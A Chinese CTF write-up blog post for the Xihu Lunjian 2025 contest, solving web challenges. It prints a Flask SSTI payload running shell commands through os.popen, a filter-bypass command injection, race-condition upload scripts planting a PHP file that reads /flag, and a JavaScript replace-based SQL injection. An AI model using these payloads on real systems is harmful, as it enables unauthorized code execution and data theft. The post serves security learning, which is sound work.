目录

  1. 1. 前言
  2. 2. Rank-l
  3. 3. Rank-U(Unsolved)
  4. 4. sqli or not(复现)
    1. 4.1. 正解

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

第八届西湖论剑

2025/1/18 CTF线上赛
  |     |   总文章阅读量:

前言

所以 已经没事了😄

参考:https://blog.csdn.net/uuzeray/article/details/145228235

image-20250118174518066


Rank-l

输入一些其他字符,然后输入密码会报错弹出flask debug界面

泄露 app.py

if is_safe_input(phone):
    return redirect(url_for('index'))
if phone != "1686682318" and password != "Happy_news_admin":
    return render_template_string('<!DOCTYPE html>\
    <html lang="en">\
    <head>\
        <meta charset="UTF-8">\
        <title>login failed</title>\
    </head>\

得到账密1686682318:Happy_news_admin

但是输入正确后依旧重定向回 /

猜测是在 render_template_string 打 ssti,在/login处填payload,在/cpass处获取回显

{{lipsum.__globals__.os.popen('ls ..').read()}}

flag在 /flagf149

app.py

from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
from urllib.parse import unquote

app = Flask(__name__)

phone = ''

def is_safe_input(user_input):
    # unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']
    unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']

构造rce:

cd ..%26%26head f\lagf149

image-20250118105248402


Rank-U(Unsolved)

进去一个登录框,弱密码爆破失败,sql注入无果

PHP/7.3.28 Apache/2.4.38 (Debian)

换了几个字典,最终爆出 year2000

里面一个文件上传,啥都能传,但是访问 Uploads 里的文件路径只有 jpg 后缀的能读到,猜测其他后缀是被删了

尝试条件竞争,py脚本+burp把我c盘缓存淦爆了都没竞争成功


存个条件竞争的脚本吧

import requests
 
while True:
    burp0_url = "http://139.155.126.78:30675/admin/index.php"  # 更新 URL
    burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"}  # 更新 PHP 会话 ID
    
    burp0_data = (
        "------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
        "Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n"
        "<?php echo file_get_contents('/flag');?>\r\n"  # 改为新代码
        "------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
    )
    
    # 发送 POST 请求,只保留 Cookie
    r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
    
    # 提取文件名并保存到本地文件
    try:
        filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
        with open('name.txt', 'w') as file:
            file.write(filename.strip())  # 使用 strip() 去除可能的换行符
    except IndexError:
        print("无法提取文件路径或文件上传失败")
import requests
 
url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
 
while True:
    # 直接读取文件内容,去除换行符并逐行处理
    with open('name.txt', 'r') as file:
        for filename in file:
            shellpath = url0 + filename.strip()  # 使用 strip() 去除换行符
 
            # 发起 GET 请求
            r1 = requests.get(shellpath)
 
            # 如果状态码不是 404,输出状态码和响应文本
            if r1.status_code != 404:
                print(r1.status_code)
                print(r1.text)

第一个脚本多开点才行

合着就是线程少了竞争不来是吧


sqli or not(复现)

var express = require('express');
var router = express.Router();
module.exports = router;

router.get('/',(req,res,next)=>{
    if(req.query.info){
        if(req.url.match(/\,/ig)){
            res.end('hacker1!');
        }
        var info = JSON.parse(req.query.info);
        if(info.username&&info.password){
            var username = info.username;
            var password = info.password;
            if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
                res.end('hacker2!');
            }
            var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
            sql = sql.replace("{username}",username);
            sql = sql.replace("{password}",password);
            connection.query(sql,function (err,rs) {
            if (err) {
                res.end('error1');
            }
            else {
                if(rs.length>0){
                res.sendFile('/flag');
                }else {
                res.end('username or password error');
                }
            }
            })
        }
        else{
            res.end("please input the data");
        }
       
}
    else{
        res.end("please input the data");
    }
})

只需要返回成功即可得到flag

我们传进去的参数是info,内容是json

首先是第一个waf,匹配,,只需要url编码即可绕过

{"username":"1"%2C"password":"1"}

然后是第二个waf,匹配的是 info 里的'"\\

要想注入的话肯定要一个'或者\来转义,

期望的sql语句

select * from userinfo where username = '1\' and password = ';select 1#'

或者

select * from userinfo where username = '1'' and password = ';select 1--'

但是测了半天都转义不出想要的效果


正解

估计是要从 replace 入手,模板字符串替换的写法感觉有说法

var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);

看一下replace的源码:

/**
 * Replaces text in a string, using this regular expression.
 * @param string A String object or string literal whose contents matching against
 *               this regular expression will be replaced
 * @param replacer A function that returns the replacement text.
 */
[Symbol.replace](string: string, replacer: (substring: string, ...args: any[]) => string): string;

replace 支持正则表达式,在MDN文档里能找到内置的正则静态属性:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/leftContext

leftContext 非标准属性是正则表达式的静态和只读属性,含有最新匹配的左侧子串。 RegExp.$` 是这个属性的别名。

RegExp.leftContext
RegExp['$`']

测试:

var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}", "$`");
sql = sql.replace("{password}", "$`");
console.log(sql)

返回

select * from userinfo where username = 'select * from userinfo where username = '' and password = 'select * from userinfo where username = 'select * from userinfo where username = '' and password = ''

这样就拿到我们需要的'

{"username":"$`"%2C"password":"1"}
select * from userinfo where username = 'select * from userinfo where username = '' and password = '1'

然后构造注入得到payload:

{"username":"$`"%2C"password":"or 1%23"}
select * from userinfo where username = 'select * from userinfo where username = '' and password = 'or 1#'

image-20250118165020071

然后就会下载到flag了(这里可以知道数据库不是sqlite,sqlite的注释符是--

image-20250118174053483